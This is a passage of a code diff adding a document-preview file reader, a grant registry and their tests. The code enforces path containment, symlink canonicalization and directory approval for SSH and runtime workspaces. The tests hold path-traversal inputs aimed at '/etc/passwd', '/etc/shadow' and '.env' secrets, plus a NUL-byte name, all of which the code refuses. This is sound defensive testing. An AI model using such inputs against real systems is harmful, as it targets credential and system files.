+import { docPreviewContentType, readDocPreviewFile } from './doc-preview-file-reader'
+import {
+  authorizeDocPreviewDirectory,
+  mintDocPreviewGrant,
+  revokeAllDocPreviewGrants
+} from './doc-preview-grant-registry'
+
+// Why the fixtures approve the document directory up front: these tests exercise the transport
+// half of a read — an entry-only grant's approval flow is pinned in its own test below.
+function sshGrant(): ReturnType<typeof mintDocPreviewGrant> {
+  const grant = mintDocPreviewGrant({
+    owner: { kind: 'ssh', connectionId: 'ssh-1' },
+    root: '/home/alice/docs',
+    entryRelativePath: 'index.html',
+    browserPageId: 'page-1'
+  })
+  authorizeDocPreviewDirectory(grant.id, grant.entryRelativePath)
+  return grant
+}
+
+function runtimeGrant(root = '/srv/repo/docs'): ReturnType<typeof mintDocPreviewGrant> {
+  const grant = mintDocPreviewGrant({
+    owner: {
+      kind: 'runtime',
+      environmentId: 'env-1',
+      worktreeSelector: 'id:wt-1',
+      worktreeRoot: '/srv/repo'
+    },
+    root,
+    entryRelativePath: 'index.html',
+    browserPageId: 'page-1'
+  })
+  authorizeDocPreviewDirectory(grant.id, grant.entryRelativePath)
+  return grant
+}
+
+beforeEach(() => {
+  vi.clearAllMocks()
+  revokeAllDocPreviewGrants()
+  // Why: an unsymlinked host canonicalizes to the path it was given.
+  mocks.realpath.mockImplementation((path: string) => Promise.resolve(path))
+  mocks.requireSshFilesystemProvider.mockReturnValue({
+    readFile: mocks.readFile,
+    realpath: mocks.realpath
+  })
+})
+
+describe('docPreviewContentType', () => {
+  it('maps document and asset extensions, defaulting to octet-stream', () => {
+    expect(docPreviewContentType('index.html')).toBe('text/html; charset=utf-8')
+    expect(docPreviewContentType('assets/app.CSS')).toBe('text/css; charset=utf-8')
+    expect(docPreviewContentType('assets/logo.png')).toBe('image/png')
+    expect(docPreviewContentType('data.bin')).toBe('application/octet-stream')
+  })
+})
+
+describe('readDocPreviewFile — ssh owner', () => {
+  it('reads text through the SSH filesystem provider', async () => {
+    mocks.readFile.mockResolvedValue({ content: '<h1>hi</h1>', isBinary: false })
+
+    const outcome = await readDocPreviewFile(sshGrant(), 'index.html')
+
+    expect(mocks.requireSshFilesystemProvider).toHaveBeenCalledWith('ssh-1')
+    expect(mocks.readFile).toHaveBeenCalledWith('/home/alice/docs/index.html')
+    expect(outcome).toEqual({
+      ok: true,
+      bytes: Buffer.from('<h1>hi</h1>', 'utf8'),
+      contentType: 'text/html; charset=utf-8'
+    })
+  })
+
+  it('decodes a base64 binary asset', async () => {
+    const png = Buffer.from([0x89, 0x50, 0x4e, 0x47])
+    mocks.readFile.mockResolvedValue({ content: png.toString('base64'), isBinary: true })
+
+    const outcome = await readDocPreviewFile(sshGrant(), 'assets/logo.png')
+
+    expect(outcome).toEqual({ ok: true, bytes: png, contentType: 'image/png' })
+  })
+
+  // Why: the SSH reader rejects an over-cap file rather than clamping it, so a completed read is
+  // always whole and needs no truncation flag.
+  it('serves a whole SSH read that carries no truncation flag', async () => {
+    mocks.readFile.mockResolvedValue({ content: '<h1>whole</h1>', isBinary: false })
+
+    expect(await readDocPreviewFile(sshGrant(), 'index.html')).toMatchObject({ ok: true })
+  })
+
+  // Why: the SSH read path only serves images and PDFs as bytes, so a font is refused there by
+  // design — the failure must name the file type, not a stale server.
+  it('reports a file type the host will not send as unsupported-asset', async () => {
+    mocks.readFile.mockResolvedValue({ content: '', isBinary: true })
+
+    const outcome = await readDocPreviewFile(sshGrant(), 'assets/font.woff2')
+
+    expect(outcome).toMatchObject({ ok: false, status: 415, reason: 'unsupported-asset' })
+  })
+
+  // Why: a host that still named the type read a 0-byte file, so 0 bytes is the honest answer —
+  // reporting it as a refused format would be a failure the workspace never reported.
+  it('serves an empty file the host still typed instead of calling it unsupported', async () => {
+    mocks.readFile.mockResolvedValue({ content: '', isBinary: true, mimeType: 'image/png' })
+
+    const outcome = await readDocPreviewFile(sshGrant(), 'assets/logo.png')
+
+    expect(outcome).toEqual({ ok: true, bytes: Buffer.alloc(0), contentType: 'image/png' })
+  })
+
+  // Why: containment above is lexical, and the SSH read RPC enforces no root of its own, so a
+  // symlink inside the grant would otherwise read anything the account can reach.
+  it('404s a path that canonicalizes outside the grant root', async () => {
+    mocks.realpath.mockImplementation((path: string) =>
+      Promise.resolve(path === '/home/alice/docs/escape.html' ? '/etc/shadow' : path)
+    )
+
+    const outcome = await readDocPreviewFile(sshGrant(), 'escape.html')
+
+    expect(outcome).toMatchObject({ ok: false, status: 404 })
+    expect(mocks.readFile).not.toHaveBeenCalled()
+  })
+
+  it('reads the canonical path once containment holds', async () => {
+    mocks.realpath.mockImplementation((path: string) =>
+      Promise.resolve(path === '/home/alice/docs/link.html' ? '/home/alice/docs/real.html' : path)
+    )
+    mocks.readFile.mockResolvedValue({ content: '<h1>real</h1>', isBinary: false })
+
+    expect(await readDocPreviewFile(sshGrant(), 'link.html')).toMatchObject({ ok: true })
+    expect(mocks.readFile).toHaveBeenCalledWith('/home/alice/docs/real.html')
+  })
+
+  // Why: a symlinked root is legitimate; containment must be judged on what both sides resolve to.
+  it('keeps serving a grant whose own root is a symlink', async () => {
+    mocks.realpath.mockImplementation((path: string) =>
+      Promise.resolve(path.replace('/home/alice/docs', '/mnt/data/docs'))
+    )
+    mocks.readFile.mockResolvedValue({ content: '<h1>hi</h1>', isBinary: false })
+
+    expect(await readDocPreviewFile(sshGrant(), 'index.html')).toMatchObject({ ok: true })
+    expect(mocks.readFile).toHaveBeenCalledWith('/mnt/data/docs/index.html')
+  })
+
+  it('404s when the host cannot canonicalize the path at all', async () => {
+    mocks.realpath.mockRejectedValue(new Error('no such file'))
+
+    expect(await readDocPreviewFile(sshGrant(), 'index.html')).toMatchObject({
+      ok: false,
+      status: 404
+    })
+    expect(mocks.readFile).not.toHaveBeenCalled()
+  })
+
+  it('404s a path outside the grant root without touching the provider', async () => {
+    const outcome = await readDocPreviewFile(sshGrant(), '../../etc/passwd')
+
+    expect(outcome).toMatchObject({ ok: false, status: 404 })
+    expect(mocks.requireSshFilesystemProvider).not.toHaveBeenCalled()
+  })
+
+  it('requires approval for a sibling directory before touching the SSH provider', async () => {
+    const grant = mintDocPreviewGrant({
+      owner: { kind: 'ssh', connectionId: 'ssh-1' },
+      requestBase: '/home/alice',
+      root: '/home/alice/docs',
+      entryRelativePath: 'docs/index.html',
+      browserPageId: 'page-1'
+    })
+
+    await expect(readDocPreviewFile(grant, 'assets/logo.png')).resolves.toMatchObject({
+      ok: false,
+      status: 403,
+      reason: 'authorization-required'
+    })
+    expect(mocks.requireSshFilesystemProvider).not.toHaveBeenCalled()
+
+    authorizeDocPreviewDirectory(grant.id, 'assets/logo.png')
+    mocks.readFile.mockResolvedValue({ content: 'logo', isBinary: false })
+
+    await expect(readDocPreviewFile(grant, 'assets/logo.png')).resolves.toMatchObject({ ok: true })
+    expect(mocks.readFile).toHaveBeenCalledWith('/home/alice/assets/logo.png')
+  })
+
+  it('reports an over-cap SSH file as too large rather than unreadable', async () => {
+    mocks.readFile.mockRejectedValue(new FileReadCapExceededError('exceeds client cap'))
+
+    expect(await readDocPreviewFile(sshGrant(), 'huge.html')).toMatchObject({
+      ok: false,
+      status: 413
+    })
+  })
+
+  it('404s when the provider read fails', async () => {
+    mocks.readFile.mockRejectedValue(new Error('no such file'))
+
+    expect(await readDocPreviewFile(sshGrant(), 'missing.html')).toMatchObject({
+      ok: false,
+      status: 404
+    })
+  })
+})
+
+describe('readDocPreviewFile — paired runtime owner', () => {
+  it('reads text over worktree-relative files.read', async () => {
+    mocks.callRuntimeEnvironment.mockResolvedValue({
+      ok: true,
+      result: { content: '<h1>remote</h1>', truncated: false, byteLength: 15 }
+    })
+
+    const outcome = await readDocPreviewFile(runtimeGrant(), 'index.html')
+
+    expect(mocks.callRuntimeEnvironment).toHaveBeenCalledWith(
+      '/user-data',
+      'env-1',
+      'files.read',
+      { worktree: 'id:wt-1', relativePath: 'docs/index.html' },
+      15_000
+    )
+    expect(outcome).toEqual({
+      ok: true,
+      bytes: Buffer.from('<h1>remote</h1>', 'utf8'),
+      contentType: 'text/html; charset=utf-8'
+    })
+  })
+
+  it('falls back to the base64 preview RPC for a binary asset', async () => {
+    const png = Buffer.from([0x89, 0x50, 0x4e, 0x47])
+    mocks.callRuntimeEnvironment
+      .mockResolvedValueOnce({
+        ok: false,
+        error: { code: 'runtime_error', message: 'binary_file' }
+      })
+      .mockResolvedValueOnce({
+        ok: true,
+        result: {
+          content: png.toString('base64'),
+          isBinary: true,
+          isImage: true,
+          mimeType: 'image/png'
+        }
+      })
+
+    const outcome = await readDocPreviewFile(runtimeGrant(), 'assets/logo.png')
+
+    expect(mocks.callRuntimeEnvironment).toHaveBeenNthCalledWith(
+      2,
+      '/user-data',
+      'env-1',
+      'files.readPreview',
+      { worktree: 'id:wt-1', relativePath: 'docs/assets/logo.png' },
+      15_000
+    )
+    expect(outcome).toEqual({ ok: true, bytes: png, contentType: 'image/png' })
+  })
+
+  it('degrades on an old server whose empty binary preview carries no metadata', async () => {
+    mocks.callRuntimeEnvironment
+      .mockResolvedValueOnce({
+        ok: false,
+        error: { code: 'runtime_error', message: 'binary_file' }
+      })
+      .mockResolvedValueOnce({ ok: true, result: { content: '', isBinary: true } })
+
+    expect(await readDocPreviewFile(runtimeGrant(), 'assets/logo.png')).toMatchObject({
+      ok: false,
+      status: 415,
+      reason: 'unsupported-asset'
+    })
+  })
+
+  it('serves an empty paired asset the host typed rather than reporting a refusal', async () => {
+    mocks.callRuntimeEnvironment
+      .mockResolvedValueOnce({
+        ok: false,
+        error: { code: 'runtime_error', message: 'binary_file' }
+      })
+      .mockResolvedValueOnce({
+        ok: true,
+        result: { content: '', isBinary: true, isImage: true, mimeType: 'image/png' }
+      })
+
+    expect(await readDocPreviewFile(runtimeGrant(), 'assets/logo.png')).toEqual({
+      ok: true,
+      bytes: Buffer.alloc(0),
+      contentType: 'image/png'
+    })
+  })
+
+  // Why: files.read clamps text at the host cap and only says so in `truncated`; serving the
+  // clamped bytes renders a document that silently stops halfway.
+  it('refuses a truncated text read instead of serving the clamped bytes', async () => {
+    mocks.callRuntimeEnvironment.mockResolvedValue({
+      ok: true,
+      result: { content: '<h1>half of', truncated: true, byteLength: 40_000_000 }
+    })
+
+    const outcome = await readDocPreviewFile(runtimeGrant(), 'index.html')
+
+    expect(outcome).toMatchObject({ ok: false, status: 413 })
+    expect(outcome).not.toMatchObject({ ok: true })
+  })
+
+  it('serves a read the host reports as complete', async () => {
+    mocks.callRuntimeEnvironment.mockResolvedValue({
+      ok: true,
+      result: { content: '<h1>all</h1>', truncated: false, byteLength: 12 }
+    })
+
+    expect(await readDocPreviewFile(runtimeGrant(), 'index.html')).toMatchObject({ ok: true })
+  })
+
+  // Why: the binary RPC has no `truncated` field — it rejects an over-cap asset with this error.
+  it('reports the host rejecting an over-cap binary as too large', async () => {
+    mocks.callRuntimeEnvironment
+      .mockResolvedValueOnce({
+        ok: false,
+        error: { code: 'runtime_error', message: 'binary_file' }
+      })
+      .mockResolvedValueOnce({
+        ok: false,
+        error: { code: 'runtime_error', message: 'file_too_large' }
+      })
+
+    expect(await readDocPreviewFile(runtimeGrant(), 'assets/huge.png')).toMatchObject({
+      ok: false,
+      status: 413
+    })
+  })
+
+  it('does not treat an unrelated RPC failure as a binary fallback', async () => {
+    mocks.callRuntimeEnvironment.mockResolvedValue({
+      ok: false,
+      error: { code: 'runtime_error', message: 'permission_denied' }
+    })
+
+    expect(await readDocPreviewFile(runtimeGrant(), 'index.html')).toMatchObject({
+      ok: false,
+      status: 404
+    })
+    expect(mocks.callRuntimeEnvironment).toHaveBeenCalledOnce()
+  })
+
+  it('404s a document outside the worktree, which files.read cannot address', async () => {
+    const outcome = await readDocPreviewFile(runtimeGrant('/tmp/agent-docs'), 'index.html')
+
+    expect(outcome).toMatchObject({ ok: false, status: 404 })
+    expect(mocks.callRuntimeEnvironment).not.toHaveBeenCalled()
+  })
+
+  it('requires approval for a sibling directory before touching the runtime', async () => {
+    const grant = mintDocPreviewGrant({
+      owner: {
+        kind: 'runtime',
+        environmentId: 'env-1',
+        worktreeSelector: 'id:wt-1',
+        worktreeRoot: '/srv/repo'
+      },
+      requestBase: '/srv/repo',
+      root: '/srv/repo/docs',
+      entryRelativePath: 'docs/index.html',
+      browserPageId: 'page-1'
+    })
+
+    await expect(readDocPreviewFile(grant, 'assets/app.js')).resolves.toMatchObject({
+      ok: false,
+      status: 403,
+      reason: 'authorization-required'
+    })
+    expect(mocks.callRuntimeEnvironment).not.toHaveBeenCalled()
+
+    authorizeDocPreviewDirectory(grant.id, 'assets/app.js')
+    mocks.callRuntimeEnvironment.mockResolvedValue({
+      ok: true,
+      result: { content: 'console.log(1)', truncated: false, byteLength: 14 }
+    })
+
+    await expect(readDocPreviewFile(grant, 'assets/app.js')).resolves.toMatchObject({ ok: true })
+    expect(mocks.callRuntimeEnvironment).toHaveBeenCalledWith(
+      '/user-data',
+      'env-1',
+      'files.read',
+      { worktree: 'id:wt-1', relativePath: 'assets/app.js' },
+      15_000
+    )
+  })
+})
diff --git a/src/main/browser/doc-preview-file-reader.ts b/src/main/browser/doc-preview-file-reader.ts
new file mode 100644
index 00000000000..87e78c1d2e3
--- /dev/null
+++ b/src/main/browser/doc-preview-file-reader.ts
@@ -0,0 +1,208 @@
+import { extname } from 'node:path'
+import type {
+  RuntimeFilePreviewResult,
+  RuntimeFileReadResult
+} from '../../shared/runtime-file-contracts'
+import type { DocPreviewFileFailureReason } from '../../shared/doc-preview-scheme'
+import { callRuntimeEnvironment } from '../ipc/runtime-environment-transport-routing'
+import { FileReadCapExceededError } from '../ssh/ssh-filesystem-stream-reader'
+import { getCanonicalUserDataPath } from '../persistence'
+import { requireSshFilesystemProvider } from '../providers/ssh-filesystem-dispatch'
+import {
+  resolveCanonicalDocPreviewPath,
+  resolveDocPreviewCandidatePath,
+  resolveDocPreviewTargetPath,
+  toRuntimeWorktreeRelativePath,
+  type DocPreviewGrant
+} from './doc-preview-grant-registry'
+
+const DOC_PREVIEW_READ_TIMEOUT_MS = 15_000
+
+/** Why not "needs a newer server": the SSH read path only ever serves images and PDFs as bytes, so
+ *  a font is refused there by design, not by version. Name the file type, not the host's age. */
+const UNSERVABLE_ASSET_PREVIEW_MESSAGE = 'This workspace cannot send this file type to a preview.'
+
+/** `files.read` clamps text at the host's cap and reports it; serving the clamped bytes would
+ *  render a silently half-finished document. */
+const TRUNCATED_PREVIEW_MESSAGE = 'This document is too large for the server to send in full.'
+
+/** The paired host rejects an over-cap asset outright instead of clamping it. */
+const RUNTIME_TOO_LARGE_ERROR = 'file_too_large'
+
+/** Both owners refuse an over-cap file; only their error shapes differ. */
+function isTooLargeReadError(error: unknown): boolean {
+  return (
+    error instanceof FileReadCapExceededError ||
+    (error instanceof Error && error.message === RUNTIME_TOO_LARGE_ERROR)
+  )
+}
+
+export type DocPreviewReadOutcome =
+  | { ok: true; bytes: Buffer; contentType: string }
+  | { ok: false; status: number; reason: DocPreviewFileFailureReason; message: string }
+
+const DOC_PREVIEW_CONTENT_TYPES: Record<string, string> = {
+  '.html': 'text/html; charset=utf-8',
+  '.htm': 'text/html; charset=utf-8',
+  '.css': 'text/css; charset=utf-8',
+  '.js': 'text/javascript; charset=utf-8',
+  '.mjs': 'text/javascript; charset=utf-8',
+  '.json': 'application/json; charset=utf-8',
+  '.txt': 'text/plain; charset=utf-8',
+  '.md': 'text/plain; charset=utf-8',
+  '.csv': 'text/plain; charset=utf-8',
+  '.svg': 'image/svg+xml',
+  '.png': 'image/png',
+  '.jpg': 'image/jpeg',
+  '.jpeg': 'image/jpeg',
+  '.gif': 'image/gif',
+  '.webp': 'image/webp',
+  '.bmp': 'image/bmp',
+  '.ico': 'image/x-icon',
+  '.pdf': 'application/pdf',
+  '.woff': 'font/woff',
+  '.woff2': 'font/woff2',
+  '.ttf': 'font/ttf',
+  '.otf': 'font/otf'
+}
+
+export function docPreviewContentType(relativePath: string): string {
+  return (
+    DOC_PREVIEW_CONTENT_TYPES[extname(relativePath).toLowerCase()] ?? 'application/octet-stream'
+  )
+}
+
+type PreviewFileBytes = {
+  content: string
+  isBinary: boolean
+  truncated?: boolean
+  /** Set by every owner that agreed to serve the bytes, so it also survives a 0-byte file. */
+  mimeType?: string
+}
+
+function toOutcome(source: PreviewFileBytes, contentType: string): DocPreviewReadOutcome {
+  if (source.truncated) {
+    return { ok: false, status: 413, reason: 'too-large', message: TRUNCATED_PREVIEW_MESSAGE }
+  }
+  if (!source.isBinary) {
+    return { ok: true, bytes: Buffer.from(source.content, 'utf8'), contentType }
+  }
+  if (source.content) {
+    return { ok: true, bytes: Buffer.from(source.content, 'base64'), contentType }
+  }
+  // Why: an empty binary body is two different answers. A host that still named the file's type
+  // read a 0-byte file, and 0 bytes is what it should serve; a host that named no type declined
+  // the format outright and has nothing to send.
+  return source.mimeType
+    ? { ok: true, bytes: Buffer.alloc(0), contentType }
+    : {
+        ok: false,
+        status: 415,
+        reason: 'unsupported-asset',
+        message: UNSERVABLE_ASSET_PREVIEW_MESSAGE
+      }
+}
+
+async function readRuntimeDocPreviewFile(
+  environmentId: string,
+  worktreeSelector: string,
+  relativePath: string
+): Promise<PreviewFileBytes> {
+  const userDataPath = getCanonicalUserDataPath()
+  const response = await callRuntimeEnvironment(
+    userDataPath,
+    environmentId,
+    'files.read',
+    { worktree: worktreeSelector, relativePath },
+    DOC_PREVIEW_READ_TIMEOUT_MS
+  )
+  if (response.ok) {
+    const result = response.result as RuntimeFileReadResult
+    return { content: result.content, isBinary: false, truncated: result.truncated === true }
+  }
+  // Why: files.read rejects binaries with a typed error; the base64 preview RPC serves
+  // images and fonts the same way it does for markdown previews. Match the exact
+  // message so an unrelated failure can't spoof the fallback.
+  if (response.error.message !== 'binary_file') {
+    throw new Error(response.error.message)
+  }
+  const previewResponse = await callRuntimeEnvironment(
+    userDataPath,
+    environmentId,
+    'files.readPreview',
+    { worktree: worktreeSelector, relativePath },
+    DOC_PREVIEW_READ_TIMEOUT_MS
+  )
+  if (!previewResponse.ok) {
+    throw new Error(previewResponse.error.message)
+  }
+  const preview = previewResponse.result as RuntimeFilePreviewResult
+  // Why: readPreview never clamps — it rejects an over-cap asset — so its body is whole or absent.
+  return {
+    content: preview.content,
+    isBinary: preview.isBinary,
+    ...(preview.mimeType ? { mimeType: preview.mimeType } : {})
+  }
+}
+
+function notFoundOutcome(message = 'Not found'): DocPreviewReadOutcome {
+  return { ok: false, status: 404, reason: 'unreadable', message }
+}
+
+/** Reads one in-grant path over the same channel the editor uses for that owner. */
+export async function readDocPreviewFile(
+  grant: DocPreviewGrant,
+  relativePath: string
+): Promise<DocPreviewReadOutcome> {
+  const candidatePath = resolveDocPreviewCandidatePath(grant, relativePath)
+  if (!candidatePath) {
+    return notFoundOutcome()
+  }
+  const absolutePath = resolveDocPreviewTargetPath(grant, relativePath)
+  if (!absolutePath) {
+    return {
+      ok: false,
+      status: 403,
+      reason: 'authorization-required',
+      message: 'This file needs permission before the preview can read it.'
+    }
+  }
+  const contentType = docPreviewContentType(relativePath)
+  try {
+    if (grant.owner.kind === 'ssh') {
+      const provider = requireSshFilesystemProvider(grant.owner.connectionId)
+      // Why: the SSH read RPC enforces no root of its own, so containment has to survive a symlink
+      // before the read — the lexical check above only proves the requested path looked contained.
+      const canonicalPath = await resolveCanonicalDocPreviewPath(grant, absolutePath, (path) =>
+        provider.realpath(path)
+      )
+      if (!canonicalPath) {
+        return notFoundOutcome()
+      }
+      // Why: the SSH reader rejects an over-cap file outright, so its result is never partial.
+      return toOutcome(await provider.readFile(canonicalPath), contentType)
+    }
+    const worktreeRelativePath = toRuntimeWorktreeRelativePath(
+      grant.owner.worktreeRoot,
+      absolutePath
+    )
+    if (!worktreeRelativePath) {
+      // Why: files.read is worktree-scoped, so a doc outside the worktree has no client-side channel.
+      return notFoundOutcome()
+    }
+    // Why no realpath pass here: the host resolves this path through resolveAuthorizedPath, which
+    // canonicalizes and re-checks the worktree root server-side before reading.
+    return toOutcome(
+      await readRuntimeDocPreviewFile(
+        grant.owner.environmentId,
+        grant.owner.worktreeSelector,
+        worktreeRelativePath
+      ),
+      contentType
+    )
+  } catch (error) {
+    return isTooLargeReadError(error)
+      ? { ok: false, status: 413, reason: 'too-large', message: TRUNCATED_PREVIEW_MESSAGE }
+      : notFoundOutcome(error instanceof Error ? error.message : undefined)
+  }
+}
diff --git a/src/main/browser/doc-preview-grant-registry.test.ts b/src/main/browser/doc-preview-grant-registry.test.ts
new file mode 100644
index 00000000000..36022f6a753
--- /dev/null
+++ b/src/main/browser/doc-preview-grant-registry.test.ts
@@ -0,0 +1,283 @@
+import { beforeEach, describe, expect, it } from 'vitest'
+import {
+  authorizeDocPreviewDirectory,
+  getDocPreviewGrant,
+  mintDocPreviewGrant,
+  resolveCanonicalDocPreviewPath,
+  resolveDocPreviewTargetPath,
+  revokeAllDocPreviewGrants,
+  revokeDocPreviewGrant,
+  toRuntimeWorktreeRelativePath,
+  type DocPreviewGrant
+} from './doc-preview-grant-registry'
+
+const sshOwner = { kind: 'ssh', connectionId: 'ssh-1' } as const
+
+function mintPosixGrant(root = '/srv/repo/docs'): DocPreviewGrant {
+  return mintDocPreviewGrant({
+    owner: sshOwner,
+    root,
+    entryRelativePath: 'index.html',
+    browserPageId: 'page-1'
+  })
+}
+
+beforeEach(() => {
+  revokeAllDocPreviewGrants()
+})
+
+describe('doc preview grants', () => {
+  it('mints unguessable ids and looks them up', () => {
+    const first = mintPosixGrant()
+    const second = mintPosixGrant()
+
+    expect(first.id).toMatch(/^[0-9a-f]{32}$/)
+    expect(first.id).not.toBe(second.id)
+    expect(getDocPreviewGrant(first.id)).toBe(first)
+  })
+
+  it('returns nothing for an unknown or revoked grant', () => {
+    const grant = mintPosixGrant()
+
+    expect(getDocPreviewGrant('0'.repeat(32))).toBeNull()
+    expect(revokeDocPreviewGrant(grant.id)).toBe(true)
+    expect(getDocPreviewGrant(grant.id)).toBeNull()
+    expect(revokeDocPreviewGrant(grant.id)).toBe(false)
+  })
+})
+
+describe('resolveDocPreviewTargetPath', () => {
+  // A grant whose root IS its request base — a document at the workspace root, or outside any
+  // workspace — starts with the entry file alone: that directory is where secrets live, and a
+  // DNS-prefetch beacon needs no click, so nothing beside the entry reads without the reader.
+  it('reads only the entry document until the reader approves its directory', () => {
+    const grant = mintPosixGrant()
+
+    expect(resolveDocPreviewTargetPath(grant, 'index.html')).toBe('/srv/repo/docs/index.html')
+    expect(resolveDocPreviewTargetPath(grant, 'assets/logo.png')).toBeNull()
+    expect(resolveDocPreviewTargetPath(grant, 'secrets.env')).toBeNull()
+
+    expect(authorizeDocPreviewDirectory(grant.id, 'assets/logo.png')).toBe(true)
+    expect(resolveDocPreviewTargetPath(grant, 'assets/logo.png')).toBe(
+      '/srv/repo/docs/assets/logo.png'
+    )
+    expect(resolveDocPreviewTargetPath(grant, 'secrets.env')).toBeNull()
+  })
+
+  it('keeps silent authority over a document directory strictly inside the workspace, and only there', () => {
+    const nested = mintDocPreviewGrant({
+      owner: sshOwner,
+      requestBase: '/srv/repo',
+      root: '/srv/repo/docs',
+      entryRelativePath: 'docs/report.html',
+      browserPageId: 'page-1'
+    })
+    expect(resolveDocPreviewTargetPath(nested, 'docs/styles.css')).toBe('/srv/repo/docs/styles.css')
+
+    const atWorkspaceRoot = mintDocPreviewGrant({
+      owner: sshOwner,
+      requestBase: '/srv/repo',
+      root: '/srv/repo',
+      entryRelativePath: 'report.html',
+      browserPageId: 'page-2'
+    })
+    expect(resolveDocPreviewTargetPath(atWorkspaceRoot, 'report.html')).toBe(
+      '/srv/repo/report.html'
+    )
+    expect(resolveDocPreviewTargetPath(atWorkspaceRoot, '.env')).toBeNull()
+    expect(resolveDocPreviewTargetPath(atWorkspaceRoot, 'docs/styles.css')).toBeNull()
+  })
+
+  it('refuses parent traversal, absolute escapes and empty paths', () => {
+    const grant = mintPosixGrant()
+
+    expect(resolveDocPreviewTargetPath(grant, '../secret.env')).toBeNull()
+    expect(resolveDocPreviewTargetPath(grant, 'assets/../../secret.env')).toBeNull()
+    expect(resolveDocPreviewTargetPath(grant, '..')).toBeNull()
+    expect(resolveDocPreviewTargetPath(grant, '')).toBeNull()
+    expect(resolveDocPreviewTargetPath(grant, 'a//b')).toBeNull()
+  })
+
+  it('refuses backslash and NUL segments that could re-split on the owning host', () => {
+    const grant = mintPosixGrant()
+
+    expect(resolveDocPreviewTargetPath(grant, '..\\secret.env')).toBeNull()
+    expect(resolveDocPreviewTargetPath(grant, 'index.html\0.png')).toBeNull()
+  })
+
+  // Why this is a traversal test and not a containment test: every request path that names a
+  // sibling directory has to climb out of the root first, so the `..` segment guard answers it
+  // before the prefix check runs. Sibling containment is exercised where it is reachable —
+  // against a canonicalized path, below.
+  it('refuses a sibling directory by refusing the traversal that reaches it', () => {
+    const grant = mintPosixGrant()
+
+    expect(resolveDocPreviewTargetPath(grant, '../docs-private/secret.html')).toBeNull()
+  })
+
+  it('keeps a Windows drive root addressable instead of turning it drive-relative', () => {
+    const grant = mintDocPreviewGrant({
+      owner: sshOwner,
+      root: 'C:\\',
+      entryRelativePath: 'index.html',
+      browserPageId: 'page-1'
+    })
+
+    expect(resolveDocPreviewTargetPath(grant, 'index.html')).toBe('C:\\index.html')
+  })
+
+  it('follows the owning host path flavor rather than this process platform', () => {
+    const windowsGrant = mintDocPreviewGrant({
+      owner: sshOwner,
+      root: 'C:\\srv\\repo\\docs',
+      entryRelativePath: 'index.html',
+      browserPageId: 'page-1'
+    })
+
+    expect(authorizeDocPreviewDirectory(windowsGrant.id, 'assets/logo.png')).toBe(true)
+    expect(resolveDocPreviewTargetPath(windowsGrant, 'assets/logo.png')).toBe(
+      'C:\\srv\\repo\\docs\\assets\\logo.png'
+    )
+    expect(resolveDocPreviewTargetPath(windowsGrant, '../secret.env')).toBeNull()
+  })
+
+  it('normalizes a trailing separator on the root', () => {
+    const grant = mintDocPreviewGrant({
+      owner: sshOwner,
+      root: '/srv/repo/docs/',
+      entryRelativePath: 'index.html',
+      browserPageId: 'page-1'
+    })
+
+    expect(resolveDocPreviewTargetPath(grant, 'index.html')).toBe('/srv/repo/docs/index.html')
+    expect(resolveDocPreviewTargetPath(grant, '../secret.env')).toBeNull()
+  })
+
+  it('authorizes only the requested sibling directory', () => {
+    const grant = mintDocPreviewGrant({
+      owner: sshOwner,
+      requestBase: '/srv/repo',
+      root: '/srv/repo/docs',
+      entryRelativePath: 'docs/report.html',
+      browserPageId: 'page-1'
+    })
+
+    expect(resolveDocPreviewTargetPath(grant, 'docs/report.html')).toBe(
+      '/srv/repo/docs/report.html'
+    )
+    expect(resolveDocPreviewTargetPath(grant, 'assets/chart.js')).toBeNull()
+    expect(resolveDocPreviewTargetPath(grant, '.env')).toBeNull()
+
+    expect(authorizeDocPreviewDirectory(grant.id, 'assets/chart.js')).toBe(true)
+    expect(resolveDocPreviewTargetPath(grant, 'assets/chart.js')).toBe('/srv/repo/assets/chart.js')
+    expect(resolveDocPreviewTargetPath(grant, 'assets/theme.css')).toBe(
+      '/srv/repo/assets/theme.css'
+    )
+    expect(resolveDocPreviewTargetPath(grant, '.env')).toBeNull()
+  })
+
+  it('refuses malformed authorization requests and unknown grants', () => {
+    const grant = mintDocPreviewGrant({
+      owner: sshOwner,
+      requestBase: '/srv/repo',
+      root: '/srv/repo/docs',
+      entryRelativePath: 'docs/report.html',
+      browserPageId: 'page-1'
+    })
+
+    expect(authorizeDocPreviewDirectory(grant.id, '../outside/secret.txt')).toBe(false)
+    expect(authorizeDocPreviewDirectory(grant.id, 'assets\\secret.txt')).toBe(false)
+    expect(authorizeDocPreviewDirectory('0'.repeat(32), 'assets/chart.js')).toBe(false)
+    expect(grant.authorizedRoots).toEqual([])
+  })
+
+  it('uses Windows semantics when authorizing a sibling directory', () => {
+    const grant = mintDocPreviewGrant({
+      owner: sshOwner,
+      requestBase: 'C:\\srv\\repo',
+      root: 'C:\\srv\\repo\\docs',
+      entryRelativePath: 'docs/report.html',
+      browserPageId: 'page-1'
+    })
+
+    expect(authorizeDocPreviewDirectory(grant.id, 'assets/chart.js')).toBe(true)
+    expect(resolveDocPreviewTargetPath(grant, 'assets/chart.js')).toBe(
+      'C:\\srv\\repo\\assets\\chart.js'
+    )
+    expect(authorizeDocPreviewDirectory(grant.id, '../outside/secret.txt')).toBe(false)
+  })
+})
+
+describe('resolveCanonicalDocPreviewPath', () => {
+  // Why here and not above: a canonical path is the one input that can name a sibling directory
+  // without traversing — the host resolved a symlink to it — so this is where the prefix check
+  // is the only thing standing between the grant and `/srv/repo/docs-private`.
+  it('refuses a canonical path in a sibling directory that shares the root prefix', async () => {
+    const grant = mintPosixGrant()
+
+    await expect(
+      resolveCanonicalDocPreviewPath(grant, '/srv/repo/docs/index.html', async (path) =>
+        path === grant.root ? path : '/srv/repo/docs-private/secret.html'
+      )
+    ).resolves.toBeNull()
+  })
+
+  it('answers the canonical path when it stays inside the canonical root', async () => {
+    const grant = mintPosixGrant()
+
+    await expect(
+      resolveCanonicalDocPreviewPath(grant, '/srv/repo/docs/index.html', async (path) => path)
+    ).resolves.toBe('/srv/repo/docs/index.html')
+  })
+
+  it('refuses a sibling of an entry-only document even when it canonicalizes cleanly', async () => {
+    const grant = mintPosixGrant()
+
+    await expect(
+      resolveCanonicalDocPreviewPath(grant, '/srv/repo/docs/notes.txt', async (path) => path)
+    ).resolves.toBeNull()
+  })
+
+  it('keeps an approved SSH directory inside the canonical workspace boundary', async () => {
+    const grant = mintDocPreviewGrant({
+      owner: sshOwner,
+      requestBase: '/srv/repo',
+      root: '/srv/repo/docs',
+      entryRelativePath: 'docs/report.html',
+      browserPageId: 'page-1'
+    })
